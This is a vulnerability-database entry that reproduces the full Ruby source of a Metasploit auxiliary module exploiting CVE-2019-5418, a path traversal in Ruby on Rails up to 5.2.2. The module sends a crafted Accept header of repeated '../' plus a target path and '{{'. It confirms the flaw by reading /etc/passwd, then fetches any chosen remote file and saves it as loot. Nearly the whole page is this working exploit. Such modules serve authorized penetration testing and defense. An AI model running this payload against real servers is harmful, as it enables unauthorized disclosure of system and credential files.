Ruby On Rails File Content Disclosure ('doubletap')

2019-03-28T01:13:25
ID MSF:AUXILIARY/GATHER/RAILS_DOUBLETAP_FILE_READ
Type metasploit
Reporter Rapid7
Modified 2019-04-21T04:00:20

Description

This module uses a path traversal vulnerability in Ruby on Rails versions =< 5.2.2 to read files on a target server.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'        =&gt; "Ruby On Rails File Content Disclosure ('doubletap')",
        'Description' =&gt; %q{
          This module uses a path traversal vulnerability in Ruby on Rails
          versions =&lt; 5.2.2 to read files on a target server.
        },
        'Author'      =&gt;
        [
          'Carter Brainerd &lt;0xCB@protonmail.com&gt;', # Metasploit module
          'John Hawthorn &lt;john@hawthorn.email&gt;' # PoC/discovery
        ],
        'License'     =&gt; MSF_LICENSE,
        'References'     =&gt; [
          [ 'URL', 'https://hackerone.com/reports/473888' ],
          [ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ],
          [ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q' ],
          [ 'URL', 'https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/' ],
          [ 'CVE', '2019-5418'],
          [ 'EDB', '46585' ]
        ],
        'Notes' =&gt; {
          'AKA' =&gt; ['DoubleTap']
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('ROUTE', [true, 'A route on the vulnerable server.', '/home']),
        OptInt.new('DEPTH', [true, 'The depth of the traversal.', 10]),
        OptString.new('TARGET_FILE', [true, 'The absolute path of remote file to read.', '/etc/passwd']),
        OptBool.new('PRINT_RESULTS', [true, 'Print results of module (may hang with large amounts of data).', true])
      ]
    )

    register_advanced_options(
      [
        OptBool.new('SkipCheck', [true, 'Skip the initial vulnerability check.', false])
      ]
    )
  end

  def get_accept_header_value(depth, file)
    return (('../'*depth) + file + '{{').gsub('//', '/')
  end

  def check
    return true if datastore['SkipCheck']
    # Check if target file is absolute path
    unless datastore['TARGET_FILE'].start_with? '/'
      vprint_error "TARGET_FILE must be an absolute path (eg. /etc/passwd)."
      return Exploit::CheckCode::Unknown
    end

    # Fire off the request
    res = send_request_cgi({
      'method' =&gt; 'GET',
      'uri' =&gt; normalize_uri(datastore['ROUTE']),
      'headers' =&gt; { 'Accept' =&gt; get_accept_header_value(datastore['DEPTH'], '/etc/passwd')}
    })

    if res.nil?
      vprint_error "Request timed out."
      return Exploit::CheckCode::Unknown
    end

    if res.body.include? 'root:x:0:0:root:'
      return Exploit::CheckCode::Vulnerable
    else
      vprint_error 'Target is not vulnerable. Make sure your route is correct.'
      return Exploit::CheckCode::Unknown
    end
  end

  def run
    unless check == Exploit::CheckCode::Vulnerable
      print_error 'Check did not pass, exiting.'
      return
    end

    fail_with(Failure::BadConfig, 'TARGET_FILE must be an absolute path (eg. /etc/passwd).') unless datastore['TARGET_FILE'].start_with? '/'


    print_status "Requesting file #{datastore['TARGET_FILE']}"

    res = send_request_cgi({
      'method' =&gt; 'GET',
      'uri' =&gt; normalize_uri(datastore['ROUTE']),
      'headers' =&gt; { 'Accept' =&gt; get_accept_header_value(datastore['DEPTH'], datastore['TARGET_FILE'])}
    })

    if res.nil?
      print_error "Request timed out."
      return
    end

    unless res.code == 200
      print_error "Failed to read file: #{datastore['TARGET_FILE']}. HTTP error: #{res.code}."
      print_error 'User probably doesnt have access to the requested file.' if res.code == 500
      return
    end

    unless datastore['PRINT_RESULTS']
      print_good 'Response from server:'
      print_line res.body.to_s
    end
    store_loot('rails.doubletap.file', 'text/plain', datastore['RHOSTS'], res.body.to_s, datastore['TARGET_FILE'], "File read via Rails DoubleTap auxiliary module.")
    print_status 'Results stored as loot.'
  end
end